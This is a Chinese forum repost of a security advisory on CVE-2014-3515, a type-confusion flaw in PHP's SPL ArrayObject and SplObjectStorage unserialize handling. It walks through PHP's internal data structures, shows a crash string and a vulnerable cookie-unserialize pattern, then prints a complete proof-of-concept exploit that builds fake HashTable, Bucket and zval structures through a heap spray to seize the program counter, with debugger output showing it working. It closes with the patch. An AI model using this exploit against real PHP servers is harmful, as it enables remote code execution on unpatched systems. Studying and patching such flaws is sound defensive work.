搜索
查看: 387|回复: 0

SPL ArrayObject/SPLObjectStorage Unserialization Type Confusion Vulnerabilities

[复制链接]

1

主题

1

帖子

9

积分

我是新手

Rank: 1

积分
9
发表于 2017-4-25 16:03:45 | 显示全部楼层 |阅读模式
本帖最后由 hackyzh 于 2017-4-25 16:49 编辑

简介
   一个月前PHP开发者发布了安全措施,更新了PHP5.4和PHP5.5,并修复了一些漏洞。我们发现了其中的一些漏洞已经披露的最为严重的一个我们在以前的名为“phpinfo()函数类型混淆Infoleak漏洞和SSL私钥”的博文中提到过。我们发现,该漏洞允许检索来自 Apache 内存的SSL私钥。然而,对于通过PHP  unserialize() 类型函数可以访问的两个严重的类型混淆漏洞,我们闭口不言。直到PHP的团队有机会大显身手,不仅修复了PHP5.4和PHP5.5,并且最后还发布了最终版本的PHP5.3。和之前的类型混淆漏洞不同的是,公开的信息泄漏可能会导致任意执行远程代码。

  PHP函数unserialize() 允许做反序列化的PHP变量,而这个变量,以前是通过serialize() 的方式函数被序列化为字符串表示形式。因为这个原因,传统上一直使用的PHP应用程序开发人员能够在不同的服务器之间传递PHP应用程序的数据,或者以压缩格式存储一些客户端的数据,然而这被警告存有潜在的危险,并且,从这个函数中所产生的危险是双重的。一方面,2010年,在美国的 BlackHat上,当我们在研究利用代码重用或返回导向编程的PHP应用程序攻击类时发现, 它允许实例化的PHP函数在执行的时候有时被滥用来执行任意代码。另外还有就是内存损坏,类型混乱或使用后,函数unserialize() 本身无漏洞的危险。 SektionEins的研究人员已经在过去一次又一次地提出存在两种类型的问题。


在源代码审核中,我们为客户服务,可以看到的是,目前用户在输入时,函数unserialize()仍会被使用的,尽管在函数unserialize()以前所有的漏洞中,已经通过渗透不同的对象来达到了成功的目的。从其他团队研究表明,经常加密和制定计划的人认为,可以保护序列化的数据,他们可以不工作,但可以被利用。

这篇文章在我们已经披露的PHPSPL ArrayObject和SPLObjectStorage的反序列化的对象当中,我们将详细介绍两种类型式混乱的漏洞如何允许攻击者在服务器上执行任意代码,这两个漏洞的CVE名称为CVE-2014-3515。



漏洞
有问题的漏洞位于文件/ext/spl/splarray.c里面的PHP源代码的SPL_METHOD内(数组,反序列化)和SPL_METHOD内的文件/ext/spl/spl_observer.c内(SplObjectStorage,反序列化) 。该漏洞存在于序列化对象的成员变量的处理之中。

  1. ALLOC_INIT_ZVAL(pmembers);
  2. if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) {
  3.   zval_ptr_dtor(&pmembers);
  4.   goto outexcept;
  5. }

  6. /* copy members */
  7. if (!intern->std.properties) {
  8.   rebuild_object_properties(&intern->std);
  9. }
  10. zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
  11. zval_ptr_dtor(&pmembers);
复制代码

上面的代码为了得到来自序列化的字符串成员变量而调用deserializer,然后通过zend_hash_copy()函数将它们复制到属性之中。这里的类型混淆漏洞的代码假定反序列化返回到一个PHP数组。但是,这并没有被检查,而是完全取决于序列化字符串的内容。结果然后经由Z_ARRVAL_P宏指令,这导致了各种问题,而这种问题取决于什么类型的变量,而这种变量实际上是deserializer返回的原因。

要了解更详细的问题,让我们来看看一个zval变量(忽略GC版)和Z_ARRVAL_P宏指令的定义:


  1. typedef union _zvalue_value {
  2.    long lval;                                 /* long value */
  3.    double dval;                               /* double value */
  4.    struct {
  5.       char *val;
  6.       int len;
  7.    } str;
  8.    HashTable *ht;                             /* hash table value */
  9.    zend_object_value obj;
  10. } zvalue_value;

  11. struct _zval_struct {
  12.    /* Variable information */
  13.    zvalue_value value;                /* value */
  14.    zend_uint refcount__gc;
  15.    zend_uchar type;   /* active type */
  16.    zend_uchar is_ref__gc;
  17. };

  18. #define Z_ARRVAL(zval)        (zval).value.ht
  19. #define Z_ARRVAL_P(zval_p)    Z_ARRVAL(*zval_p)
复制代码
你可以从这些PHP变量的Z_ARRVAL的定义里面,在zvalue_value联合体中,查找指针HashTable的结构。HashTable的结构是PHP内部来存储数组数据的方式。因为这是一个结合了其他的变量类型,这个指针将被填充不同类型的数据。例如一个PHP整数变量将它的值存储在相同的位置PHP数组变量的指针((in case sizeof(long) == sizeof(void *))。这同样适用于浮点变量的值和其他的变量类型。

  让我们来看看,当deserializer返回一个整数(或者为Win64的一个double值)会发生什么:整数的值将被用作内存,指向一个Hash table,而其数据将被复制到另一个数组。下面小的POC代码演示了这一点,就会使deserializer试图处理一个HashTable,起始内存地址0x55555555。然而这将导致系统崩溃,因为它通常是一个无效的内存位置。


  1. <?php
  2.    unserialize("C:11:"ArrayObject":28:{x:i:0;a:0:{};m:i:1431655765;});");
  3. ?>
复制代码

如果内存地址也指向一个真正的HashTable的结构,它的内容被复制到反序列化数组对象作为它的成员变量。这在反序列化的结果被再次序列化并返回给用户的情况下是有用的,这是将unserialize()暴露给用户输入的应用程序中的常见模式。以下PHP代码是此模式的示例。
   
下面的PHP代码是一个这种模式的例子。


  1. <?php
  2.    $data = unserialize(base64_decode($_COOKIE['data']));
  3.    $data['visits']++;
  4.    setcookie("data", base64_encode(serialize($data)));
  5. ?>
复制代码



每当反序列化被用在如上述的类似方式,那么通过反序列化暴露的漏洞,将会导致信息泄漏。



深入研究

虽然整型变量让我们解读任意内存位置,然而,HashTablePHP的字符串变量类型可能是更有趣的攻击者。当你在zval结构上面,你会发现,该数组的HashTable的指针是在相同的位置作为一个字符串的指针StringData。这意味着,如果deseriazlier返回字符串的内容将被访问,就好像它是一个HashTable数组的字符串来代替。让我们一起来看看这些HashTable结构。


  1. typedef struct _hashtable {
  2.   uint nTableSize;          /* current size of bucket space (power of 2) */
  3.   uint nTableMask;          /* nTableSize - 1 for faster calculation */
  4.   uint nNumOfElements;      /* current number of elements */
  5.   ulong nNextFreeElement;   /* next free numerical index */
  6.   Bucket *pInternalPointer; /* used for element traversal */
  7.   Bucket *pListHead;        /* head of double linked list of all elements in array */
  8.   Bucket *pListTail;        /* tail of double linked list of all elements in array */
  9.   Bucket **arBuckets;       /* hashtable bucket space */
  10.   dtor_func_t pDestructor;  /* element destructor */
  11.   zend_bool persistent;     /* marks hashtable lifetime as persistent */
  12.   unsigned char nApplyCount;  /* required to stop endless recursions */
  13.   zend_bool bApplyProtection; /* required to stop endless recursions */
  14. }HashTable;
复制代码

PHP的HashTable结构是数据结构HashTable和双链表的混合物。这允许元素快速访问,但也允许浏览一个数组元素中的顺序。阵列中的元素被存储在所谓的 Buckets中,要么内联的数据或提供一个指针,指向同一个 Buckets相关联的实际数据。对于每一个可能的散列值最上面的 Buckets是通过从 Buckets里空间的指针处理。 Buckets数据结构如下所示:


  1. typedef struct bucket {
  2.   ulong h;          /* Used for numeric indexing */
  3.   uint nKeyLength;  /* 0 for numeric indicies, otherwise length of string */
  4.   void *pData;      /* address of the data */
  5.   void *pDataPtr;   /* storage place for data if datasize == sizeof(void *) */
  6.   struct bucket *pListNext;  /* next pointer in global linked list */
  7.   struct bucket *pListLast;  /* prev pointer in global linked list */
  8.   struct bucket *pNext;      /* next pointer in bucket linked list */
  9.   struct bucket *pLast;      /* prev pointer in bucket linked list */
  10.   char arKey[1]; /* Must be last element - recently changed to point to external array key */
  11. } Bucket;
复制代码
与这两个数据结构,现在可以布置一个假的HashTable传递给反序列化的本身指向一个假冒的数组在内存中的字符串中。根据该假阵列的内容的脚本将触发攻击者(假的阵列)的端部的反序列化对象,破坏供给HashTable的析构函数,它给出了该程序计数器的攻击者控制。第一个参数为这个析构函数的指针指向的假 Buckets,这意味着一个支点的小工具,移动的第一个函数中参数放入指针就足以启动一个ROP链提供的假ZVAL。


概念验证漏洞

在2014年6月20日,PHP的开发人员分享了下面的代码。这是从PHP脚本程序计数器控制的一个POC演示。 POC的开发与标准的PHP5.4.24的MacOSX10.9.3安装。它的工作原理是使用重复模式下伪造的[size=13.3333px]hashtables, buckets a和 zvals来进行堆喷射,然后触发恶意unserialize(). 。请记住,远程攻击者可以通过发送大量的POST数据到服务器来堆喷射PHP安装,然后通过一个恶意的字符串用户输入暴露unserialize(). 。

  1. <?php
  2. /* Unserialize ArrayObject Type Confusion Exploit */
  3. /* (C) Copyright 2014 Stefan Esser */

  4. ini_set("memory_limit", -1);

  5. if ($_SERVER['argc'] < 2) {
  6.   $__PC__ = 0x504850111110;
  7. } else {
  8.   $__PC__ = $_SERVER['argv'][1] + 0;
  9. }

  10. // we assume that 0x111000000 is controlled by our heap spray
  11. $base = 0x114000000 + 0x20;

  12. echo "Setting up memory...\n";
  13. setup_memory();

  14. echo "Now performing exploit...\n";
  15. $inner = 'x:i:0;a:0:{};m:s:'.strlen($hashtable).':"'.$hashtable.'";';
  16. $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
  17. $z = unserialize($exploit);
  18. unset($z);





  19. function setup_memory()
  20. {
  21.   global $str, $hashtable, $base, $__PC__;

  22.   // we need FAKE HASH TABLE / FAKE BUCKET / FAKE ZVAL

  23.   $bucket_addr = $base;
  24.   $zval_delta = 0x100;
  25.   $hashtable_delta = 0x200;
  26.   $zval_addr = $base + $zval_delta;
  27.   $hashtable_addr = $base + $hashtable_delta;

  28.   //typedef struct bucket {
  29.   $bucket  = "\x01\x00\x00\x00\x00\x00\x00\x00"; //   ulong h;
  30.   $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00"; //   uint nKeyLength = 0 => numerical index
  31.   $bucket .= ptr2str($bucket_addr + 3*8);//   void *pData;
  32.   $bucket .= ptr2str($zval_addr); //  void *pDataPtr;
  33.   $bucket .= ptr2str(0);//    struct bucket *pListNext;
  34.   $bucket .= ptr2str(0);//    struct bucket *pListLast;
  35.   $bucket .= ptr2str(0);//    struct bucket *pNext;
  36.   $bucket .= ptr2str(0);//    struct bucket *pLast;
  37.   $bucket .= ptr2str(0);//    const char *arKey;
  38.   //} Bucket;

  39.   //typedef struct _hashtable {
  40.   $hashtable  = "\x00\x00\x00\x00";// uint nTableSize;
  41.   $hashtable .= "\x00\x00\x00\x00";// uint nTableMask;
  42.   $hashtable .= "\x01\x00\x00\x00";// uint nNumOfElements;
  43.   $hashtable .= "\x00\x00\x00\x00";
  44.   $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";// ulong nNextFreeElement;
  45.   $hashtable .= ptr2str(0);// Bucket *pInternalPointer;       /* Used for element traversal */
  46.   $hashtable .= ptr2str($bucket_addr);//      Bucket *pListHead;
  47.   $hashtable .= ptr2str(0);// Bucket *pListTail;
  48.   $hashtable .= ptr2str(0);// Bucket **arBuckets;
  49.   $hashtable .= ptr2str($__PC__);//   dtor_func_t pDestructor;
  50.   $hashtable .= "\x00";//     zend_bool persistent;
  51.   $hashtable .= "\x00";//     unsigned char nApplyCount;
  52.   //  zend_bool bApplyProtection;
  53.   //} HashTable;

  54.   //typedef union _zvalue_value {
  55.   //  long lval;                                      /* long value */
  56.   //  double dval;                            /* double value */
  57.   //  struct {
  58.   //          char *val;
  59.   //          int len;
  60.   //  } str;
  61.   //  HashTable *ht;                          /* hash table value */
  62.   //  zend_object_value obj;
  63.   //} zvalue_value;

  64.   //struct _zval_struct {
  65.   /* Variable information */
  66.   $zval = ptr2str($hashtable_addr);// zvalue_value value;             /* value */
  67.   $zval .= ptr2str(0);
  68.   $zval .= "\x00\x00\x00\x00";//      zend_uint refcount__gc;
  69.   $zval .= "\x04";//  zend_uchar type;        /* active type */
  70.   $zval .= "\x00";//  zend_uchar is_ref__gc;
  71.   $zval .= ptr2str(0);
  72.   $zval .= ptr2str(0);
  73.   $zval .= ptr2str(0);

  74.   //};

  75.   /* Build the string */
  76.   $part = str_repeat("\x73", 4096);
  77.   for ($j=0; $j<strlen($bucket); $j++) {
  78.     $part[$j] = $bucket[$j];
  79.   }
  80.   for ($j=0; $j<strlen($hashtable); $j++) {
  81.     $part[$j+$hashtable_delta] = $hashtable[$j];
  82.   }
  83.   for ($j=0; $j<strlen($zval); $j++) {
  84.     $part[$j+$zval_delta] = $zval[$j];
  85.   }
  86.   $str = str_repeat($part, 1024*1024*256/4096);
  87. }

  88. function ptr2str($ptr)
  89. {
  90.   $out = "";
  91.   for ($i=0; $i<8; $i++) {
  92.     $out .= chr($ptr & 0xff);
  93.     $ptr >>= 8;
  94.   }
  95.   return $out;
  96. }

  97. ?>
复制代码
然后,您可以测试在命令行上的POC:

  1. $ lldb php
  2. Current executable set to 'php' (x86_64).

  3. (lldb) run exploit.php 0x1122334455
  4. There is a running process, kill it and restart?: [Y/n] y
  5. Process 38336 exited with status = 9 (0x00000009)
  6. Process 38348 launched: '/usr/bin/php' (x86_64)
  7. Setting up memory...
  8. Now performing exploit...
  9. Process 38348 stopped
  10. * thread #1: tid = 0x636867, 0x0000001122334455, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1122334455)
  11.     frame #0: 0x0000001122334455
  12. error: memory read failed for 0x1122334400
  13. (lldb) re re
  14. General Purpose Registers:
  15.      rax = 0x0000001122334455
  16.      rbx = 0x0000000114000020
  17.      rcx = 0x000000010030fd48  php`_zval_dtor_func + 160
  18.      rdx = 0x0000000100d22050
  19.      rdi = 0x0000000114000038
  20.      rsi = 0x0000000000000000
  21.      rbp = 0x00007fff5fbfe8b0
  22.      rsp = 0x00007fff5fbfe888
  23.       r8 = 0x0000000000000000
  24.       r9 = 0x0000000000000008
  25.      r10 = 0x0000000000000000
  26.      r11 = 0x000000000000005b
  27.      r12 = 0x0000000100956be8  php`executor_globals
  28.      r13 = 0x0000000000000000
  29.      r14 = 0x0000000114000220
  30.      r15 = 0x0000000000000000
  31.      rip = 0x0000001122334455  <----- controlled RIP
  32.   rflags = 0x0000000000010206
  33.       cs = 0x000000000000002b
  34.       fs = 0x0000000000000000
  35.       gs = 0x0000000022330000

  36. (lldb) x/20x $rdi-0x18
  37. 0x114000020: 0x00000001 0x00000000 0x00000000 0x00000000
  38. 0x114000030: 0x14000038 0x00000001 0x14000120 0x00000001 <---- &pDataPtr
  39. 0x114000040: 0x00000000 0x00000000 0x00000000 0x00000000
  40. 0x114000050: 0x00000000 0x00000000 0x00000000 0x00000000
  41. 0x114000060: 0x00000000 0x00000000 0x73737373 0x73737373
复制代码
修复

我们共享了我们对这个漏洞的补丁,因此开发者也发布了PHP5.5.14,PHP5.4.30和PHP5.3.29。如果您正在运行的这些版本,你不必应用此修复程序。如果你不是,你应该确保你应用下面的补丁集。

  1. --- php-5.5.13/ext/spl/spl_observer.c 2014-05-28 11:06:28.000000000 +0200
  2. +++ php-5.5.13-unserialize-fixed/ext/spl/spl_observer.c       2014-06-20 17:54:33.000000000 +0200
  3. @@ -898,7 +898,7 @@
  4.       ++p;

  5.       ALLOC_INIT_ZVAL(pmembers);
  6. -     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) {
  7. +     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
  8.               zval_ptr_dtor(&pmembers);
  9.               goto outexcept;
  10.       }
  11. --- php-5.5.13/ext/spl/spl_array.c    2014-05-28 11:06:28.000000000 +0200
  12. +++ php-5.5.13-unserialize-fixed/ext/spl/spl_array.c  2014-06-20 17:54:09.000000000 +0200
  13. @@ -1789,7 +1789,7 @@
  14.       ++p;

  15.       ALLOC_INIT_ZVAL(pmembers);
  16. -     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) {
  17. +     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
  18.               zval_ptr_dtor(&pmembers);
  19.               goto outexcept;
  20.       }
复制代码
转帖链接 :https://www.sektioneins.de/en/bl ... -typeconfusion.html

您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表